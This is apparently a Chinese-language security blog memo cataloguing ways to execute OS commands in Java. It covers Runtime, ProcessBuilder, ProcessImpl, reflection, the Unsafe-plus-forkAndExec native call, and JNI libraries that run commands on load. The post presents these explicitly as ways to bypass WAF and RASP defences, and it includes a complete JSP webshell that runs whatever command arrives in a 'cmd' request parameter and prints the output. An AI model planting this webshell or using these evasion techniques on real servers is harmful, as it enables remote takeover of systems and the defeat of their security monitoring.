参考文章:

本地命令执行 · 攻击Java Web应用-[Java Web安全]

常用java代码(trick)备忘录

浅谈Java-JNI如何加载动态库时直接执行恶意代码-先知社区

一直没有怎么对学过的知识进行一下总结,那就先从简单的开始,总结一下在Java中命令执行的一些方式和trick吧

Runtime

1Runtime runtime = Runtime.getRuntime();
2runtime.exec("calc");

反射调用Runtime

1Class runtimeclazz = Class.forName("java.lang.Runtime");
2Method getRuntime = runtimeclazz.getMethod("getRuntime");
3Runtime runtime = (Runtime) getRuntime.invoke(null);
4Method exec = runtimeclazz.getMethod("exec", String.class);
5exec.invoke(runtime, "calc");

Runtime.exec 的调用链如下

sequenceDiagram
    participant User
    participant Runtime
    participant ProcessBuilder
    participant UNIXProcess
    participant Native
    participant OS

    User ->> Runtime: exec(command)
    Runtime ->> ProcessBuilder: new ProcessBuilder(command).start()
    ProcessBuilder ->> UNIXProcess: new UNIXProcess(...)
    UNIXProcess ->> Native: forkAndExec(...)
    Native ->> OS: fork() / execvp() 或 CreateProcess()
    OS ->> Native: 返回 PID
    Native ->> UNIXProcess: 返回进程句柄
    UNIXProcess ->> ProcessBuilder: 进程已启动
    ProcessBuilder ->> Runtime: 返回 Process 对象

可知比Runtime更加底层的命令执行方式还有三个,分别是ProcessBuilder,ProcessImpl,以及native方法forkAndExec

ProcessBuilder

Windows

1ProcessBuilder processBuilder = new ProcessBuilder("cmd","/c","calc");
2processBuilder.start();

Linux

1ProcessBuilder processBuilder = new ProcessBuilder("bash","-c","calc");
2processBuilder.start();

反射调用ProcessBuilder

1Class<?> pbclazz = Class.forName("java.lang.ProcessBuilder");
2Constructor<?> constructor = pbclazz.getConstructor(String[].class);
3ProcessBuilder pb = (ProcessBuilder) constructor.newInstance((Object) new String[]{"cmd.exe", "/c", "calc"});
4Method start = pbclazz.getMethod("start");
5start.invoke(pb);

ProcessImpl/UNIXProcess

在JDK9, UNIXProcess被合并到了ProcessImpl

Windows

1String [] cmd={"cmd.exe","/c","calc"};
2Class processimpl=Class.forName("java.lang.ProcessImpl");
3java.lang.reflect.Method m1=processimpl.getDeclaredMethod("start", String[].class, java.util.Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
4m1.setAccessible(true);
5Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);

Linux

1String [] cmd={"bash","-c","whoami"};
2Class processimpl=Class.forName("java.lang.ProcessImpl");
3java.lang.reflect.Method m1=processimpl.getDeclaredMethod("start", String[].class, java.util.Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
4m1.setAccessible(true);
5Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);

反射调用ProcessImpl

1Class<?> piclazz = Class.forName("java.lang.ProcessImpl");
2Method start = piclazz.getDeclaredMethod("start", String[].class,Map.class,String.class,ProcessBuilder.Redirect[].class,boolean.class);
3start.setAccessible(true);
4start.invoke(null,new String[]{"cmd.exe", "/c", "calc"},null,null,null,false);

forkAndExec命令执行-Unsafe+反射+Native方法调用

  1. 使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。
  2. 反射UNIXProcess/ProcessImpl类的forkAndExec方法。
  3. 构造forkAndExec需要的参数并调用。
  4. 反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。
  5. 反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。

参考:sun.misc.Unsafe · 攻击Java Web应用-[Java Web安全]

Unsafe可以在不调用构造函数的情况下去创建一个实例

 1import sun.misc.Unsafe;
 2
 3import java.lang.reflect.Field;
 4import java.lang.reflect.InvocationTargetException;
 5import java.lang.reflect.Method;
 6
 7public class main {
 8    public static byte[] toCString(String s) {
 9        if (s == null)
10            return null;
11        byte[] bytes  = s.getBytes();
12        byte[] result = new byte[bytes.length + 1];
13        System.arraycopy(bytes, 0,
14                result, 0,
15                bytes.length);
16        result[result.length - 1] = (byte) 0;
17        return result;
18    }
19    public static void main(String[] args) throws NoSuchMethodException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, InstantiationException {
20//        String [] cmd={"bash","-c","gnome-calculator"};
21//        Class processimpl=Class.forName("java.lang.ProcessImpl");
22//        java.lang.reflect.Method m1=processimpl.getDeclaredMethod("start", String[].class, java.util.Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
23//        m1.setAccessible(true);
24//        Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);
25
26        String[] strs ={"bash","-c","gnome-calculator"};
27
28        byte[][] argss = new byte[strs.length - 1][];
29        int size = argss.length; // For added NUL bytes
30
31        for (int i = 0; i < argss.length; i++) {
32            argss[i] = strs[i + 1].getBytes();
33            size += argss[i].length;
34        }
35
36
37        byte[] argBlock = new byte[size];
38
39        int    i        = 0;
40
41        for (byte[] arg : argss) {
42            System.arraycopy(arg, 0, argBlock, i, arg.length);
43            i += arg.length + 1;
44            // No need to write NUL bytes explicitly
45        }
46
47        Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
48        theUnsafeField.setAccessible(true);
49        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
50
51        Class processclazz;
52        try {
53            processclazz = Class.forName("java.lang.UNIXProcess");
54        } catch (ClassNotFoundException e) {
55            processclazz = Class.forName("java.lang.ProcessImpl");
56        }
57        Object process = unsafe.allocateInstance(processclazz);
58
59        int[] envc                 = new int[1];
60        int[] std_fds              = new int[]{-1, -1, -1};
61        Field launchMechanismField = processclazz.getDeclaredField("launchMechanism");
62        Field helperpathField      = processclazz.getDeclaredField("helperpath");
63        launchMechanismField.setAccessible(true);
64        helperpathField.setAccessible(true);
65        Object launchMechanismObject = launchMechanismField.get(process);
66        byte[] helperpathObject      = (byte[]) helperpathField.get(process);
67
68        int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
69
70        Method forkMethod = processclazz.getDeclaredMethod("forkAndExec", new Class[]{
71                int.class, byte[].class, byte[].class, byte[].class, int.class,
72                byte[].class, int.class, byte[].class, int[].class, boolean.class
73        });
74        forkMethod.setAccessible(true);
75        int pid = (int) forkMethod.invoke(process, new Object[]{
76                ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, argss.length,
77                null, envc[0], null, std_fds, false
78        });
79
80    }
81
82}

Jsp示例:

  1<%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2<%@ page import="sun.misc.Unsafe" %>
  3<%@ page import="java.io.ByteArrayOutputStream" %>
  4<%@ page import="java.io.InputStream" %>
  5<%@ page import="java.lang.reflect.Field" %>
  6<%@ page import="java.lang.reflect.Method" %>
  7<%!
  8    byte[] toCString(String s) {
  9        if (s == null)
 10            return null;
 11        byte[] bytes  = s.getBytes();
 12        byte[] result = new byte[bytes.length + 1];
 13        System.arraycopy(bytes, 0,
 14                result, 0,
 15                bytes.length);
 16        result[result.length - 1] = (byte) 0;
 17        return result;
 18    }
 19
 20
 21%>
 22<%
 23    String[] strs = request.getParameterValues("cmd");
 24
 25    if (strs != null) {
 26        Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
 27        theUnsafeField.setAccessible(true);
 28        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
 29
 30        Class processClass = null;
 31
 32        try {
 33            processClass = Class.forName("java.lang.UNIXProcess");
 34        } catch (ClassNotFoundException e) {
 35            processClass = Class.forName("java.lang.ProcessImpl");
 36        }
 37
 38        Object processObject = unsafe.allocateInstance(processClass);
 39
 40        // Convert arguments to a contiguous block; it's easier to do
 41        // memory management in Java than in C.
 42        byte[][] args = new byte[strs.length - 1][];
 43        int      size = args.length; // For added NUL bytes
 44
 45        for (int i = 0; i < args.length; i++) {
 46            args[i] = strs[i + 1].getBytes();
 47            size += args[i].length;
 48        }
 49
 50        byte[] argBlock = new byte[size];
 51        int    i        = 0;
 52
 53        for (byte[] arg : args) {
 54            System.arraycopy(arg, 0, argBlock, i, arg.length);
 55            i += arg.length + 1;
 56            // No need to write NUL bytes explicitly
 57        }
 58
 59        int[] envc                 = new int[1];
 60        int[] std_fds              = new int[]{-1, -1, -1};
 61        Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
 62        Field helperpathField      = processClass.getDeclaredField("helperpath");
 63        launchMechanismField.setAccessible(true);
 64        helperpathField.setAccessible(true);
 65        Object launchMechanismObject = launchMechanismField.get(processObject);
 66        byte[] helperpathObject      = (byte[]) helperpathField.get(processObject);
 67
 68        int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
 69
 70        Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
 71                int.class, byte[].class, byte[].class, byte[].class, int.class,
 72                byte[].class, int.class, byte[].class, int[].class, boolean.class
 73        });
 74
 75        forkMethod.setAccessible(true);// 设置访问权限
 76
 77        int pid = (int) forkMethod.invoke(processObject, new Object[]{
 78                ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
 79                null, envc[0], null, std_fds, false
 80        });
 81
 82        // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
 83        Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
 84        initStreamsMethod.setAccessible(true);
 85        initStreamsMethod.invoke(processObject, std_fds);
 86
 87        // 获取本地执行结果的输入流
 88        Method getInputStreamMethod = processClass.getMethod("getInputStream");
 89        getInputStreamMethod.setAccessible(true);
 90        InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
 91
 92        ByteArrayOutputStream baos = new ByteArrayOutputStream();
 93        int                   a    = 0;
 94        byte[]                b    = new byte[1024];
 95
 96        while ((a = in.read(b)) != -1) {
 97            baos.write(b, 0, a);
 98        }
 99
100        out.println("<pre>");
101        out.println(baos.toString());
102        out.println("</pre>");
103        out.flush();
104        out.close();
105    }
106%>

命令执行的回显

JDK8及以下

 1Process process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "whoami"});
 2InputStream in =  process.getInputStream();
 3BufferedReader br = new BufferedReader(new InputStreamReader(in));
 4String line;
 5StringBuilder sb = new StringBuilder();
 6while ((line = br.readLine()) != null) {
 7    sb.append(line).append("\n");
 8}
 9String str = sb.toString();
10System.out.println(str);

JDK8以上

jdk9以后InputStream新增了readAllBytes方法,能够一次性把所有的字节都读完。

1Process process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "whoami"});
2String result = new String(process.getInputStream().readAllBytes());
3System.out.println(result);

通用回显(Scanner)

1Process process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "whoami"});
2InputStream in =  process.getInputStream();
3Scanner s = new Scanner(in).useDelimiter("\\a");
4String output = s.hasNext() ? s.next() : "";
5System.out.println(output);

JNI命令执行

JNI(Java Native Interface)是Java平台提供的一种机制,允许Java代码与用其他语言(如C、C++)编写的应用程序和库进行交互。我们可以利用JNI调用我们用C编写的恶意Native方法,实现命令执行,从而绕过一些waf或是RASP。

JNI详细参考:Java Native Interface (JNI) - Java Programming Tutorial

C Program

编译命令

linux

gcc -fPIC -I $JAVA_HOME/include  -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c

windows

gcc -fPIC -I "%JAVA_HOME%\include" -I "%JAVA_HOME%\include\win32" -shared -o libcmd.dll EvilClass.c

通用

JNI_OnLoad
1#include <stdlib.h>
2#include <jni.h>
3JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
4    system("calc");
5    return JNI_VERSION_1_8;
6}
__attribute__((constructor))
1#include <stdio.h>
2#include <stdlib.h>
3
4void __attribute__((constructor)) Evilclazz() {
5    system("calc");
6}

Windows

DLLMain
 1#include <Windows.h>
 2#include <stdlib.h>
 3BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
 4
 5{
 6    switch (ul_reason_for_call)
 7    {
 8    case DLL_PROCESS_ATTACH:
 9
10        // 在DLL加载时执行特定代码
11
12        system("calc");
13        break;
14
15    case DLL_PROCESS_DETACH:
16
17        // 在DLL卸载时执行特定代码
18        break;
19
20    case DLL_THREAD_ATTACH:
21
22        // 在线程连接到DLL时执行特定代码
23        break;
24
25    case DLL_THREAD_DETACH:
26
27        // 在线程从DLL断开时执行特定代码
28        break;
29    }
30    return TRUE;
31}

加载动态链接库

在Java中一般使用System.loadSystem.loadLibrary加载编译好的库文件

  • System.load(String filename):必须给出完整绝对路径到具体库文件,不做库名映射与路径搜索;
  • System.loadLibrary(String libname):只给库名,JVM 会自动补前后缀并从 java.library.path 等路径中搜索。

System.loadLibrary

1System.loadLibrary("libcmd");

loadLibrary的调用链如下

flowchart TD
    A["System.loadLibrary"]
    B["Runtime.loadLibrary"]
    C["Runtime.loadLibrary0"]
    D["ClassLoader.loadLibrary (isAbsolute false)"]
    E["ClassLoader.findLibrary"]
    F["System.mapLibraryName"]
    G["Map to platform library name"]
    H["Search java library path"]
    I["ClassLoader.loadLibrary0"]
    J["ClassLoader$NativeLibrary.load"]

    A --> B --> C --> D --> E --> F --> G --> H --> I --> J

我们通样也是可以尝试使用更加底层的调用

Runtime.loadLibrary

1Runtime.getRuntime().loadLibrary("libcmd");

Runtime.loadLibrary0

1Runtime runtime = Runtime.getRuntime();
2Class runtimeClass = runtime.getClass();
3Method loadLibrary0 = runtimeClass.getDeclaredMethod("loadLibrary0", Class.class, String.class);
4loadLibrary0.setAccessible(true);
5loadLibrary0.invoke(runtime, main.class, "libcmd");

ClassLoader.loadLibrary

1Class clazzloader = Class.forName("java.lang.ClassLoader");
2Method loadLibrary = clazzloader.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
3loadLibrary.setAccessible(true);
4loadLibrary.invoke(null, main.class, "libcmd", false);

OR

1Class clazzloader = Class.forName("java.lang.ClassLoader");
2Method loadLibrary = clazzloader.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
3loadLibrary.setAccessible(true);
4loadLibrary.invoke(null, main.class, "C:\\Users\\Xrntkk\\IdeaProjects\\RCETest\\libcmd.dll", true);

ClassLoader.loadLibrary0

1Class clazzloader = Class.forName("java.lang.ClassLoader");
2Method loadLibrary = clazzloader.getDeclaredMethod("loadLibrary0", Class.class, File.class);
3loadLibrary.setAccessible(true);
4loadLibrary.invoke(null, main.class, new File("C:\\Users\\Xrntkk\\IdeaProjects\\RCETest\\libcmd.dll"));

ClassLoader$NativeLibrary.load

1Class<?> nativelib = Class.forName("java.lang.ClassLoader$NativeLibrary");
2Constructor<?> nativelibConstructor = nativelib.getConstructor(Class.class, String.class, boolean.class);
3nativelibConstructor.setAccessible(true);
4Object nativeLibrary = nativelibConstructor.newInstance(main.class, "xrntkk", true);
5Method load = nativelib.getDeclaredMethod("load", String.class, boolean.class);
6load.setAccessible(true);
7load.invoke(nativeLibrary, "C:\\Users\\Xrntkk\\IdeaProjects\\RCETest\\libcmd.dll", false);

System.load

1System.load("C:\\Users\\Xrntkk\\IdeaProjects\\RCETest\\libcmd.dll");

load的调用链如下

flowchart TD
    A["System.load"]
    B["Runtime.load"]
    C["Runtime.load0"]
    D["ClassLoader.loadLibrary (isAbsolute true)"]
    E["ClassLoader.nativeLoad"]
    J["ClassLoader.nativeLoad0"]
    K["ClassLoader$NativeLibrary.load"]

    A --> B --> C --> D --> E --> J --> K

Runtime.load

1Runtime runtime = Runtime.getRuntime();
2runtime.load("C:\\Users\\Xrntkk\\IdeaProjects\\RCETest\\libcmd.dll");

Runtime.load0

1Runtime runtime = Runtime.getRuntime();
2Class runtimeClass = runtime.getClass();
3Method loadLibrary0 = runtimeClass.getDeclaredMethod("load0", Class.class, String.class);
4loadLibrary0.setAccessible(true);
5loadLibrary0.invoke(runtime, main.class, "C:\\Users\\Xrntkk\\IdeaProjects\\RCETest\\libcmd.dll");

Unsafe+NativeLibrary

1Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
2theUnsafeField.setAccessible(true);
3Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
4Class<?> nativelib = Class.forName("java.lang.ClassLoader$NativeLibrary");
5Object nativeLibrary = unsafe.allocateInstance(nativelib);
6Method load = nativelib.getDeclaredMethod("load", String.class, boolean.class);
7load.setAccessible(true);
8load.invoke(nativeLibrary, "C:\\Users\\Xrntkk\\IdeaProjects\\RCETest\\libcmd.dll", false);